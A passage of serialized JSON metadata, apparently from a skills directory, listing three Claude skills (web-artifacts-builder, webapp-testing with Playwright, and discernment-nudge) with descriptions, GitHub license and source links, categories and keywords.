guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access","query",{"skillNo":168,"name":169,"nameZh":6,"description":170,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":171,"licenseFileUrl":172,"sourceHtmlUrl":173,"categories":174,"keywords":178,"publishedAt":56},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[175],{"categoryNo":176,"categoryName":177,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,41,201],"artifacts builder","web","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":203,"name":204,"nameZh":6,"description":205,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":171,"licenseFileUrl":206,"sourceHtmlUrl":207,"categories":208,"keywords":211,"publishedAt":56},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[209,210],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":176,"categoryName":177,"taxonomyType":21,"taxonomyTypeDesc":22},[212,40,213,214,215,180,216,189,190,217,218,219,220,41,221,106,222],"webapp testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":224,"name":225,"nameZh":6,"description":226,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":171,"licenseFileUrl":227,"sourceHtmlUrl":228,"categories":229,"keywords":237,"publishedAt":56},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[230,233,234],{"categoryNo":231,"categoryName":232,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":235,"categoryName":236,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000036","内容创作者",[238,239,240,241,242,243,244,245,182,246,192,134,247,248,249,250,251,163,252,39,253,254,255,256,257,112,258],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]